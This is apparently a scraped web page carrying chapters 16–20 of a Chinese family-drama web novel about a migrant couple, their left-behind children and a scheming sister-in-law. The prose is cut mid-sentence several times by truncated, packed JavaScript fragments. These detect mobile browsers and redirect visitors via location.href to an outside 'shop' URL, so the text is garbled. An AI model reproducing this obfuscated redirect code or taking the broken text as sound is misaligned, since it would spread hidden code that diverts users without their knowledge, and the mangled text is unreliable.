0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428325|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这年头做结扎手术的男人确实是凤毛麟角,这一次,一来来两个,连医生都惊讶。 就这么一个小手术,还反反复复地跟他们确认,是不是真的要做。 直问得连宁绍明这样好脾气的人都快不耐烦了才作罢,顺利安排上了手术时间。 医生说可以给他们两个人安排在同一天做手术时,夏继军还担心安排在同一天会不会太赶:“万一做完一台手术,医生精力不足,下刀的时候一个恍惚,手一抖,切歪了,那我们不完犊子了?” 结果医生开玩笑着说了一句:“不用过于担心,小手术而已,做完连住院都不用,一台手术差不多半个小时,我一天切十来根都没问题。”就是没那么多来做手术的。 哪怕早就做好了要做手术的心里准备,听到医生这话,两人还是止不住感觉身下一凉,立刻跟医生告辞马不停蹄地溜了。 回去跟老婆说起这事,逗得两个女人捂着肚子笑得停不下来。 手术安排在后天,虽然医生说不用住院,但是赵如月和章雯问过医院,确认床位不紧张后,还是给他们申请了住院,让他们卧床休息了几天。 住院期间夫妻之间互相照顾,出院的时候也是一起办理的出院手续。 宁绍明本来打算出院后歇一天就去销假上班,这回轮到赵如月拦着他了。 “你再多休息一天吧,”赵如月指着墙上的黄历,“今天星期六,你要是歇一天就去上班,要错过星期一了。” 宁绍明没反应过来她话里的意思:“星期一怎么了?” 赵如月:“现在十二月过去一个多星期,不是十一月了,你忘记我们要给家里孩子寄生活费的事了?” 要不是今天出院的时候看到单据上的日期,赵如月也想不起来这事。 现在赵如月可以自己去邮局寄钱,可这个时候的她应该是不敢的。 她每次都得等宁绍明有空,两个人一起去,然后再给老家打电话,问问两个孩子的情况,跟孩子聊聊天。 这次得先按照以前的习惯来,往后再慢慢改变。 “最近事比较多,我还真给忘了,”宁绍明拿下墙上仅剩二十几页的老黄历翻了翻,“那我多休息一天,星期二再回去上班,一忙起来,半个多月没联系家里,也不知道两个孩子在老家怎么样了。” 16. 第 16 章 距离几百公里外的榕溪镇大桥街,两个手牵着手,走在上学必经土路上的小孩齐齐打了个喷嚏。 “手是暖的,”八岁的宁时秋熟练地捏捏三岁妹妹的手,又伸手探探妹妹的背后,“后背也是暖暖的,也没出汗,怎么还打喷嚏了?” 妹妹从小说话早,才三岁已经十分口齿伶俐,她立刻紧张地解释:“哥,我刚刚就是鼻子痒痒才打喷嚏的,没着凉,我不去三外公家!” 三外公是老中医,去了他家,总是能闻到苦苦的药味,整条街的小孩儿路过他家门口都害怕。 要是被三外公看出生病了,还得喝苦药,她一点也不喜欢去。 宁时秋注意到妹妹短了一小截的衣袖,觉得有可能是衣服不合身的原因:“不行,必须去,真生病了不及时吃药,要去卫生院打针的,你想吃药还是想打屁股针?” 学前班放学早一节课的时间,宁时秋已经决定好了,等下到学校就先去跟妹妹的班主任陶老师说,中午放学别放她出校门,让她在教室里等着自己去接。 “可以都不选吗?”妹妹蔫耷耷地低头:“我不想吃药,也不想打屁股针!” 宁时秋颠了颠背上有些重的书包,重新牵起妹妹的手往前走:“那中午放学不许躲起来,要不然等下次爸爸妈妈打电话回来,我就跟他们说你不听话,等他们回来就不给你买好吃的。” “那、那好吧,”小姑娘怂怂地答应,又有些不服气,“但是你刚刚也打喷嚏了!” “嗯,所以我中午也去让三外公看看。”宁时秋很淡定地想,他是哥哥,他才不怕吃苦药呢。 ———— 鹏城城中村出租屋里,赵如月这儿很热闹。 她住院的时候,好些老乡想去医院看她,宁绍明都推说她身体不好,没精力见人,不让那么多人去打扰她。 现在赵如月回了出租屋,也算是放出一个她身体恢复得差不多、可以上门的信号,之前没能去医院探望的老乡纷纷结伴来探望她。 上辈子,有些人赵如月后来还有联系,时不时还能见上一面,有些人后来却不常见甚至没再见过面。 尤其是一些女性朋友,随着丈夫或者儿子去别的地方定居,难得回老家一趟,她这会儿看到年轻时的她们感觉很陌生。 可她们此时跟她的关系又是不错的,赵如月只能打起精神应付。 中午下工的人走了一波,中午没来的人,傍晚又来了一波。 好不容易跟来探望自己的人都聊了一圈,把人都好好地送走了,赵如月靠在宁绍明肩膀上,长舒一口气:“怪不得你不让我那么快出院。” 如果医生第一次提起她可以出院的时候,她马上出院,那时候的她肯定没有现在的精力去应付这么多来探望的人。 在老家,有亲戚熟人生病,前去探望是规矩,谁不去谁就要被人说嘴,所以为了不被人说没人情味儿,许多人也顾不上这么多人去是否会打扰病人养病。 这次还是宁绍明跟所有人说,等赵如月出院后再来也是一样,给了大家一个台阶下,他们才没有非要去医院探望的。 来探望的人都没空着手,有些提了一袋水果,有些带着一点干货,比如红枣桂圆干蘑菇之类的。 水果全都当场打开,用来招待来探望的人了,来来去去水果只剩下一半,干货倒是剩下不少,平时也消耗不了多少,他们就打算留着春节过年的时候带回家。 还有些老乡不知道买什么,就给了个红包,按照老家的规矩,金额也不大,多是按照亲疏远近往红包里放二十到五十块钱不等。 宁绍明拿出记账本,把送东西和红包的人一一记下,这些以后都是要还的人情往来。 晚上简单吃过晚饭早早休息。 第二天起了一大早,正准备出门,又轮到了房东一家跟另一个偷拍受害者的家属一起,带着礼物正式上门道谢。 赵如月心里庆幸昨天剩下的水果还有不少,为了招待客人他们也买了许多一次性水杯,还买了一包茶叶。 要不然今天恐怕连招待人的茶水都准备不齐,那也太失礼了。 进了房间,关上门,寒暄过后,陆发当中间人给双方互相介绍了一遍。 放下带来的礼物,陆心宜便拉着另一个小姑娘周嘉怡站起来。 两人手牵着手,并排站在赵如月和宁绍明面前,给他们鞠躬感谢:“谢谢赵阿姨和宁叔叔救了我们,要不是你们,我们还不知道现在会落到什么处境。” 她们对自己的案子了解比较多,知道在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428326|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个案子里,她们算是相对比较幸运的,还没有被迫做出违背本心、毁三观的事。 有些女孩已经不是被偷拍的阶段,她们甚至被逼着去害自己的家人、朋友,甚至接客。 此时陆心宜和周嘉怡发自内心地庆幸与感激赵如月夫妻。 赵如月和宁绍明急忙扶住两个小姑娘:“这都是举手之劳,我相信不管是谁,发现那样违法的行为,都会去举报的,我们也只是做了一些力所能及的事,幸好你们的家长都比较重视,要不然我们也没办法的。” 双方聊了半上午,陆家人和周家人才离开,晚上还定了酒店请他们吃饭,要他们一定赏脸去一趟。 两家人带来的礼物堆满了半个屋子,他们离开后,赵如月和宁绍明收拾了半天,一个上午就这样过去了。 赵如月闲下来后一看时间:“快十二点了,我们现在赶到邮局人家也下班了,下午再早点去吧。” 明明是冬天,宁绍明整理礼物愣是整理出一身汗,他擦了擦额头的汗水说:“只能这样了,你中午想吃什么?我去做。” 赵如月说想:“想吃煮河粉,你去附近的小菜店看看,有就买点回来煮,没有就算了,喝粥也行。” 宁绍明出去了一趟,今天比较幸运,小菜店还有河粉卖,往常只有早上有,卖到十点十一点就卖完了。 两人吃完午饭出门,到达邮局的时候人家刚好上班。 以前每一次来邮局,都是赵如月去买电话卡,顺便去电话机前排队,预备等会儿给家里打电话,宁绍明去寄钱。 这次赵如月买了电话卡就去看宁绍明填汇款单,让他教教自己。 宁绍明没觉得意外,赵如月以前工作的工厂,是高广强姐夫的厂子,他已经去帮她辞工了。 年前赵如月没必要再去找新的工作,以后他也打算让她找个轻松的活。 这样以后赵如月空闲的时间会比他多,肯定是由她来邮局寄钱更方便及时。 宁绍明边教她边熟练地填写汇款单,他们这代人,书没读多少,但对写字算是比较重视,十分笃信‘字如其人’这个词,所以宁绍明和赵如月上学时练字都十分认真,现在两人都写得一手好字。 确认填写信息无误后,宁绍明递出去四百块钱。 17. 第 17 章 家里的老人目前还能干农活,不需要孩子养老,他们每个月寄四百块钱回去给两个孩子当生活费。 这四百块钱,在孩子没生病,不到换季要买衣服鞋子的情况下,两个孩子最多用三百,剩下一百算是给老人帮他们带孩子的辛苦费。 孩子生病治病、买衣服鞋子的钱,他们会另外再寄。 赵如月和宁绍明算是比较有良心、给的钱也是相对比较多的了。 有些人出来打工,美其名曰为了养孩子才这么辛苦,实际上自己在外面日子过得十分滋润。 每个月只少少的寄一点钱回去,勉强敷衍一下老家父母。 明明有两个人都在外面挣钱,家里也没有外债,孩子却依然穿得破破烂烂的,瘦得跟难民似的。 孩子上学的钱,保不齐还得父母孩子三求四请才给,要么直接就不给了,老父母有钱就给孙子孙女上学,没钱拉倒,问就是在外面讨生活不容易,没挣到什么钱。 像卢秋英和孙洪光夫妻俩,有三个孩子在老家,每个月才寄两三百块钱,钱不够就全靠老人补贴。 他们老家落后鹏城这样的城市非常多,普通人一个月的工资在三百到五百之间,多数也就三四百,能上五百的极少。 一个人工作,勉强够一家人饿不死,想给家里买点肉开开荤都费劲,要想攒下点钱是不可能的,没准孩子上学的书费学杂费还得借。 要是两个人都有工作还好点,养孩子的钱是勉强够了。 但在老家工作机会非常少,普通家庭很少有夫妻俩都有工作的情况,一般都是家里男人工作挣钱,没工作的女人就在家拾掇家里那几分地。 他们那里又是人多地少,每家分到的地种出来的粮食、蔬菜也就勉强够自家吃,家里有零星几棵果树的,等果子成熟,摘了果子去卖,大概能卖个两三百补贴家用。 这种情况下,除非一家子都缩衣节食到极致,或者有别的进项,要不然也攒不下钱来。 家里人再有个头疼脑热,还是免不了要伸手朝人伸手借钱,所以很多人不得不离开家乡出来打工。 更别说,近几年老家都流行建楼房,在乡下总是会有这样的攀比。 攒不下钱,这新房子建不起来,在老家就会被人看不起。 出来后,别的不说,每个月最普通的工作,不怎么加班,也至少能挣个八百块钱,加班多的,能挣一千多。 夫妻俩领两份工资,花一份,存一份,家里孩子都能吃得好一点,交学费也不用低声下气地去找人借钱了。 要不了几年,还能攒够钱,把家里的新房子建起来。 以前赵如月跟宁绍明都在洗衣机厂上班的时候就是这样。 赵如月加班少,每个月挣九百多,宁绍明比较拼,一个月挣一千多。 后来他自己又找到酒店后厨的工作,工资更高,他们能存下的钱也更多了。 夫妻俩出来将近一年,其实光靠存的工资也够还债了,只是建房子的钱还没着落,没钱建房子就没办法分家。 没有哪个儿媳妇是不想分家出来自家单过,自己当家做主的,赵如月也想。 她边排队等着打电话,边在心里想着老家宅基地的事。 老宁家有三块宅基地,其中两块宅基地在镇上临街的地方,距离集市不远,早就用来建了老宅,是老人以前建的砖瓦房,两个宅基地合起来建的大院子。 当初建的时候,就想过以后要给儿子分家,院子左右两边建的屋子都一样,到要分家的时候中间起一堵墙就行。 另一个宅基地是后来又生了一个儿子,也就是宁绍明,才申请下来的。 那时街上已经没什么地,只能往远了划,所以这个宅基地位置比较偏,已经不在街上的范围内了。 镇上都没人愿意要这么偏的地方,多是花钱去跟人买街上的地,可老宁家没那么多钱买地,只能要这个。 赵如月脑子里想着老家各种事,被宁绍明轻轻拍了一下肩膀才回过神。 已经排到他们打电话了。 两个人一起走到放电话的小隔间里坐下,赵如月拿出电话卡拨打电话,心里带着期待又隐隐夹杂些怯意。 时间过去太久,她都有些忘了,自己这时期给孩子们打电话都说些什么。 只记得孩子们这时候还没跟上辈子那样,每次跟她打电话都发展成吵架。 嘟——嘟——嘟—— 电话响了好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428327|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声才被人接起,可惜接电话的不是两个孩子里的任何一个。 “大嫂?”赵如月有些诧异,愣了一下很快反应过来,现在家里的电话被装在大哥大嫂的房间。 当初装这个电话,他们夫妻俩、公婆、大哥大嫂、二哥二嫂甚至已经嫁出去的大姐都支援了一些钱。 所以当大嫂提出要把这个电话安装在他们房间,几家女人还吵了一架。 现在想想这一架吵得还挺可笑的,这电话家里每个人都能用,装在她房间里也无法阻止其他人用,毕竟大家都出钱了的,那装了电话的房间还有什么私密性可言? 不过那时候,家里有一台电话,说出去确实挺有面子。 大嫂成功把电话装到自己房间后,走出去昂首挺胸,得意得仿佛一只得胜的大公鸡,回娘家腰杆也挺得笔直。 “喂!是三弟妹啊?”那边宁家大嫂王海燕大声地对着电话这头喊,“你俩怎么今天才打电话回来,这个月可迟不少,小秋和小夏总惦记爸爸妈妈怎么还不打电话回来,天天来盯着电话看呢!哎哟~我看着两个孩子眼巴巴地等,都觉得可怜得很!” 即便知道大嫂说话爱夸大,赵如月一听这话,这当母亲的心就仿佛被谁狠狠地揪了一下,禁不住红了眼眶。 宁绍明比赵如月更了解大嫂的德性,他此时比较冷静。 大嫂话里话外看起来说的是他们这个月电话打得迟了,实际上真正的用意是指责他们这个月寄钱回去晚了。 看媳妇儿眼泪都快掉下来,宁绍明拿过话筒:“大嫂,我们这个月比较忙,今天才抽出时间来邮局,刚刚把钱寄回去了,你提醒一下我妈,让她及时去取钱。” 王海燕一听,当即也不说什么孩子可怜不可怜了,眉色飞舞地问起钱的事: “年底了,妈让我问你们寄多少钱回来?不会还寄四百块吧?我听黄大叔说你那个好兄弟黄文发,可是给他家里寄了六百块钱呢!” “你们也是一儿一女两个孩子,不得多寄点钱给两个孩子买点好吃的、再买件新衣服? 别的小孩都能去县城买衣服,还去县城的人民广场玩,他们俩不能去,多可怜呐!你们多寄点钱回来,到时候我可以带他们去!” 18. 第 18 章 宁绍明知道,大嫂这是有枣没枣打一杆子,想激他多给家里寄钱。 家里孩子现在暂时没有多花钱的地方,多寄回去的钱,他爸妈也会拿去补贴其他儿子。 老人在家只要不生病,其实花不了多少钱,他们平时有钱也舍不得花在自己身上。 二哥跟二嫂都是老师,家里只有一个女儿。 老师工资再低,两个大人养一个孩子,也是绰绰有余,用不着老人补贴。 每个月多出来的那一百块钱,宁绍明用脚指头想也知道,多是补贴给大哥家了。 只是没亏着他家孩子,他才装聋作哑一只眼闭一只眼。 对大嫂那样的人,直接拒绝是最好的方法,不能拐弯抹角,跟她客气,她会装傻充愣,当听不懂别人话里的意思。 宁绍明直接拒绝:“文发家的妙妙前段时间生病,他老娘又扭伤了脚,他才多寄了两百,我们家又没出什么事,干嘛要多寄钱?新衣服不是过年才买吗?鹏城这边的衣服和零食都比老家便宜,等我跟小月过年回去再给孩子们买。” 不等大嫂再说些什么,宁绍明就问:“大嫂,小秋和小夏不在吗?” 王海燕讪讪地回答:“哦哦,他俩跑出去玩了。” 多少年了,王海燕依然不太适应自己说话被小叔子堵回来。 在她的设想和见识里,男的很少跟女的一般见识,都是他们老婆站出来,女人之间互相阴阳怪气一番,或者吵一架。 几乎所有人家都这样,就这个宁老三总是不按套路出牌! 宁绍明这么一站出来,在赵如月面前顶着,她就有些不知道该怎么应对了,只能说:“先挂了,我出去找找再给你们回电话。” 王海燕挂了电话,走到隔壁邻居家。 好几个孩子叽叽喳喳地在邻居堂屋写作业,他们这儿对教育不太重视,绝大多数家庭完全没有给孩子准备书桌的意识。 一个个孩子面前要么是吃饭的桌子,要么是一个高凳子,屁股下坐着矮一点的小板凳,就这么当书桌写。 她走进去,眼珠子一转,没叫宁时秋。 直接走到宁时夏面前:“小夏,大伯娘背后有点痒痒,想涂药够不着地方,你能不能跟我回房间,帮我涂一下药?涂好药我给你糖吃。” 宁时夏上学前班小班,本来就没作业,只是看大孩子们都在写作业,她才来凑热闹。 她跟哥哥都没什么零花钱,糖对于她来说是稀罕物,爸爸妈妈在家的时候,他们还能隔三差五去小卖部买点零食吃,爸爸妈妈不在家后,想吃上一回也难得。 宁时夏开开心心地跟着王海燕去了。 宁时秋抬头看一眼,她们确实是回家,就没在意,继续低头写作业。 邮局里。 赵如月和宁绍明等了十几分钟,面前的电话才响起。 他们接起来,确认是家里,又马上挂断,在这边重新拨回去。 往常和家里通话都是这样,因为打长途电话一分钟六毛钱,接电话不要钱。 老家那头接电话的人,换成了一个奶声奶气的孩子。 电话一接,她就通叽里咕噜地说了一大串话:“是妈妈吗?你和爸爸在那边还好吗?妙妙姐说,她的妈妈打电话回来告诉她,说我妈妈生病了,妈妈你的病好了吗?” 赵如月怔怔地听着这陌生而熟悉的小奶音,愣了好几秒才反应过来,电话那头孩子竟然在主动关心自己。 这时候,小小的女儿多贴心啊。 她还在吃奶的时候就乖,除了肚子饿、身体不舒服和要拉的时候,都不爱哭不爱闹,仿佛天生就会体贴父母。 可是后来她们之间,怎么会变得连陌生人都不如了呢? 赵如月定了定神,擦掉不知何时沁出眼眶的眼泪,清了清嗓子说:“我没事,已经好了,你跟哥哥在家有没有听爷爷奶奶的话?去学校有没有认真读书?” 母女俩温情脉脉地在电话里互相关心彼此,宁绍明凑在旁边听,偶尔插一句。 赵如月在打电话之前,还担心自己不会找话题,跟女儿通上电话之后,她发现自己根本不需要花心思找话题。 她小闺女就是个话题制造机,小嘴叭叭的,像只可爱的小麻雀,好像永远有说不完的话和控制不住的分享欲。 连在学校见到一只特别大的毛毛虫,在这孩子眼里都是也一件让她开心的、值得跟家人分享的事,更别说老师哪天夸她了,哪天上了美术课、音乐课、体育课,画了什么画、学的什么儿歌、学了什么运动。 但没过多久,气氛却骤然被女儿的一句话降到冰点。 刚开始两人聊到过年要带回去什么糖果零食、玩具和衣服鞋子。 女儿很高兴,隔着电话线都能听出她对过年的期待。 紧接着赵如月听到女儿问:“妈妈,你能买那么多东西,那你每个月挣多少钱啊?” 这时候她还没意识到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428328|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题,以为女儿只是好奇,赵如月就说:“九百多。” “才九百多啊?”女儿说,“妈妈你怎么不加班?听说加班一个月能挣一千多,可以买更多东西,别人的妈妈都加班,你不加班,是不是太懒了,怕苦怕累想偷懒,专门挑轻松的活干?” 赵如月听到这样的话,顿时感觉心都冷了。 虽然她不怎么加班,但在厂里是不可能完全一点班也不加的。 而且在工厂做流水线,一站就是一天,即使不加班也很辛苦,哪有什么轻松的活? 一股寒气从心脏开始蔓延至全身,让她不自觉地抖了一下,不知道是因为生气还是因为心寒。 她突然收了脸上的笑,宁绍明立刻察觉到不对劲,接过话筒。 他皱着眉,但语气带着笑意,对电话那头的女儿说:“爸爸一个人能挣别人爸爸妈妈两个人挣的钱,所以你妈妈不挣那么多也可以,她身体不好,得多休息。” “原来是这样!”宁时夏一个三岁小孩,没想太多。 一听到妈妈身体不舒服,就把大伯娘离开前,反复叮嘱她说的那些话,全都抛到脑后了。 她紧张地说:“爸爸要工作,没时间照顾妈妈,爸爸你让妈妈回家吧,我跟哥哥照顾妈妈!我们都长大了,可以照顾妈妈了!” 小小的孩子,总觉得家就是这个世界上最安全的地方。 宁绍明严肃的神色放松下来,他就知道,自己的女儿不可能那么没良心,三岁小孩,要是没有大人教,怎么会说那样的话? “我们过年就回去了,”宁绍明语气轻柔对女儿承诺,“你跟哥哥认真读书,要是期末考得好,拿了奖状,爸爸妈妈给你买洋娃娃,给哥哥买奥特曼。” 宁时夏高兴地说:“爸爸,我不要洋娃娃,你可以给我买一个滑板吗?哥哥想要一辆自行车!” “好,都买!”宁绍明爽快应下,然后问女儿,“你哥哥在不在,我跟他说几句。” “哥哥在鑫阳哥家写作业,我去叫他!” 听到女儿这句,连容易陷入悲观情绪的赵如月也察觉到不对劲了。 以往他们给家里打电话,从来都是两个孩子都在的。 宁时夏飞快跑出去,跑到隔壁邻居家,却只见哥哥的东西,没看到哥哥:“鑫阳哥,我哥呢?” 埋头写作业的黄鑫阳抬头,一脸羡慕地说:“刚刚你大伯娘又来过一次,她给你哥钱,叫他上街买烧鸭了。” 19. 第 19 章 宁时夏重新跑回房间,拿起电话:“爸爸,哥哥上街买烧鸭去了,今天家里吃烧鸭,你们在那边有烧鸭吃吗?” 知道儿子不在,赵如月和宁绍明就什么都明白了。 宁绍明故意逗她:“爸爸妈妈这里没有烧鸭,每天吃饭和青菜。” 宁时夏听了觉得爸爸妈妈好可怜,她跟哥哥在家偶尔还能吃上一回烧鸭,隔三差五也能吃一次猪肉,可爸爸妈妈只有饭和青菜吃。 “等你们回来,我给你们买,”宁时夏突然压低声音,小小声地跟他们说自己的小秘密,“我偷偷存了十块钱呢,能买半只,到时候我跟哥哥不吃鸭腿了,都给你和妈妈吃!” 两人跟女儿又聊了好一会儿,直到电话卡的钱花完,儿子还没回来,只好说改天再给家里打电话,然后先把电话挂了。 挂了电话,夫妻俩对视一眼,忍不住一起叹气,心里说不出是什么滋味。 孩子确实像一张白纸,他们不守着这张白纸,不及时往纸上画东西,就有可能让别人钻了空子,在这张白纸上乱画。 赵如月站起身,让宁绍明继续占着位置:“我再去买一张电话卡。” 宁绍明问:“天色不早了,要不我们先去吃晚饭?晚点再打回去,两个孩子和我爸妈肯定都在家。” 他想好好问问自己父母,怎么能让大嫂在孩子面前乱说那样的话! 赵如月摇头:“不用,家里过两天再打回去,我再去买一张电话卡,等会儿给我娘家人打电话。” 她娘家跟宁家就在同一个镇子的另一条街上。 赵家在小桥街,宁家在大桥街,两家还刚好位于两条街的衔接位置,直线距离不超过四十米。 宁绍明以为她想给娘家人打电话,让娘家人去家里看看,顺便警告一下大嫂:“让你妈去家里看看也好,大嫂这次太过分了,怎么能教孩子说那种话,也不知道她平时是不是也在孩子耳边乱说!” 谁知赵如月并没有让娘家妈去说的意思:“我们没有证据,大嫂不会承认的,以她那脾气不管有理没理,只要我们不在,她看孩子好欺负,肯定跑到家门口闹起来,跟邻居大声嚷嚷,没准还要倒打一耙,说是孩子自己胡言乱语的话,到时候吓着孩子反而不好。” 如果赵如月在家,她是不怕她的,毕竟自己娘家离得近,底气足,本身也不是什么软柿子,宁绍明还向着自己,以前跟大嫂对上从来没输过。 只是坏就坏在,她不在家,对于家里的事鞭长莫及,她娘家人也不好随便插手婆家的事。 赵如月继续说道:“我们这边刚挂电话,就给我娘家打电话让我妈上门,倒像是我们在找事,我娘家没装电话,得打到街上小卖部或者我三叔家,这两个地方人多口杂,到时候这事,保不齐被宣扬得街上所有人都知道,家丑外扬,你爸妈不一定乐意。” 宁绍明:“也是……” 其实赵如月更担心,万一这事被镇上的人议论纷纷,孩子会遭受非议,他们肯定走到哪里都会被人逮住问。 不管那些问的人是好心还是恶意,对孩子来说都不好受,谁也不乐意总是被人逮住问同一个问题。 大嫂是长辈,天然对小辈有压制,到时候自己的孩子被故意为难,孩子估计都不知道怎么回事。 他们当父母的不在,孩子被欺负了也是白白被欺负,口苦难言。 等他们春节回去,事情都过去那么久,黄花菜都凉了。 她打算迂回一番,问问儿子家里的情况:“我妹妹的小儿子应该快办满月酒了,我给她打电话,再叫她给我妈打,让我妈带着小秋和小夏一起去吃满月酒,就说让他俩代表我们出席,吃席那天再打个电话回去,仔细问问小秋。” 让儿子亲自跟宁绍明说,他才能明白,事情比他想象中的更严重。 她娘家人嘴严,小妹又没嫁在附近,她婆家离榕溪镇很远。 电话打到那边,别人听说她打电话给小妹,也只会以为她是特地打电话回去,问候刚出月子的妹妹。 儿子早熟,仔细问应该能问出一些东西。 离开婆家人的手能伸到的范围,儿子才敢说真话,要不然每次打电话回去,公婆和大哥大嫂,甚至邻居都在旁边听着。 孩子受了委屈敢抱怨吗? 还不是只能说家里都好,让他们放心。 女儿年纪小,童言无忌倒是什么都敢说,只是也因为她太小,很多东西都意识不到,导致知道的不敢说,敢说的不知道。 * 宁时夏开开心心地挂了电话,离开大伯娘房间。 走到堂屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14437833|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看到难得不凑在电话旁,一起听电话的大伯娘坐在堂屋烤火。 宁时夏乐呵呵地跑过去告诉她:“大伯娘,我爸爸在电话里说,过年回来给我买一个滑板,还给我哥买一辆自行车!” 王海燕表情语气都很夸张地‘哦哟’一声说:“你爸爸这么有钱啊!那他有没有说给你时春哥和丹萍姐买什么?” “我忘记问了,”宁时夏懊恼地挠头,“我妈说过几天等我哥也在,她还打电话回来,到时候我帮你问问。” “行,不过你可不能说是帮我问,你时春哥和丹萍姐可都是你的哥哥姐姐,平时对你那么好,应该是你自己主动跟你爸妈说,给他们买点东西,谢谢他们的照顾。” 宁时夏懵懵懂懂地点头。 王海燕见这小丫头好糊弄,又哄着她问:“你有没有问你妈,去工厂上班,为什么不加班?” 宁时夏:“问了。” “你妈怎么说的?”王海燕听到这话,在心里偷着乐,让孩子说那些话,借孩子的嘴扎赵如月的心,对她没好处,但她就是看不惯赵如月那矫情娇气的的样子。 不过听到宁时夏接下来的话,她立马笑不出来了。 “我妈没说什么,我爸说的,说他能挣钱,用不着我妈加班。”宁时夏认真想了想,还是没法把爸爸的话,原封不动地复述出来。 她只记得大概的意思,就按照自己的话来说了:“我爸都能挣钱了,我妈就该歇着,她多休息才好,多休息能好好养身体。” 王海燕很郁闷:“她两个孩子要养呢,怎么就该歇着了?” 宁时夏:“我刚刚不是说了,我爸能挣钱。” 宁绍明换工作这事没跟家里人说,王海燕以为他现在也在洗衣机厂干着:“你爸一个月才挣多少?能跟人家夫妻俩都挣一千多的比?” 宁时夏实诚地一摊手:“不知道,我没问。” 王海燕怀疑这丫头专门来气自己,一口气哽在心头,吐不出来又咽不下去,难受得很。 她缓了缓,正想再问问宁时夏,她爸妈过年还带什么好东西回来。 要是有好的高档货,她可以早点做打算,弄几样初二带回娘家。 话没说出口,余光瞥到宁时秋那小子提着装烧鸭的塑料袋进来,顿时闭上了嘴。 20. 第 20 章 宁时夏看到哥哥回来,兴奋地扑过去:“哥,刚才爸爸妈妈打电话回来了,可惜你不在家,爸爸妈妈说等他们过年回来,会给我们买好多好吃的还有新衣服,还有、还有给我买滑板,给你买自行车!” 听到爸爸妈妈打电话回来,自己没接到,宁时秋有些失望。 但是又听到妹妹说爸爸妈妈答应给自己买自行车,他又高兴起来:“等我有了自行车,上学的时候就可以载你去学校了。” “还能载我去街上玩!” “嗯!”宁时秋重重点头。 王海燕盯着兄妹俩说话,看宁时夏没提起自己让她问赵如月工资的事,还有引导她说的那些话,心里稍稍松了一口气。 不知道为什么,她每次面对宁时秋这小子那双眼睛,总觉得别扭,好像他一个才八岁的小屁孩什么都看得懂似的,可问他又问不出来什么。 幸好宁时夏这三岁小孩好糊弄,她看宁时夏反反复复地跟宁时秋说他们爸妈春节要回来的事,就知道这小丫头心里只能存下高兴的事。 这丫头一说到高兴的事,别的都能抛到脑后,八成不会再提自己引导她说的话。 “烧鸭给我,我做饭去,”王海燕冲宁时秋伸手,又问,“小秋作业写完了吗?没写完赶紧去写,抓紧在吃饭前写完,要不然晚上不许看电视。” 宁时秋这才想起自己还提着烧鸭,赶忙把烧鸭和找回来的零钱交给王海燕:“作业就剩一点,我很快就写完了。” 她这一打岔,宁时夏更想不起来之前那些事了。 王海燕从宁时秋手里接过找回来的钱,仔细数了数,然后提着烧鸭去厨房做饭。 走到厨房,她特地把单独装着的烧鸭酱汁拿出来,重新称了称烧鸭,再算算价钱。 确认找回来的零钱数目没错,才开始做饭。 饭快做好时,宁时秋作业也写完了。 他收拾好书本和作业,跑到厨房,想看看饭做好没,要是快做好了,他就提前去菜地里喊爷爷奶奶回来吃饭。 宁时秋走进厨房,就看到大伯娘嘴角油乎乎的。 王海燕有些尴尬:“哎呀,我脸上怎么沾灰了。”她飞快地把鸭骨头扔到灶台下草木灰堆里去,欲盖弥彰地用袖子在嘴巴上抹了一把。 宁时秋没多说什么,眨了眨眼睛问:“大伯娘,饭做好了吗?” “还有一个菜就好了,你去喊人回来吃饭吧。” 十几分钟后,宁老头宁老太回来,看到饭桌上的烧鸭,就知道估计是今天老三夫妻俩打电话回来,说他们寄钱回来了,要不老大媳妇儿不舍得花钱买这个。 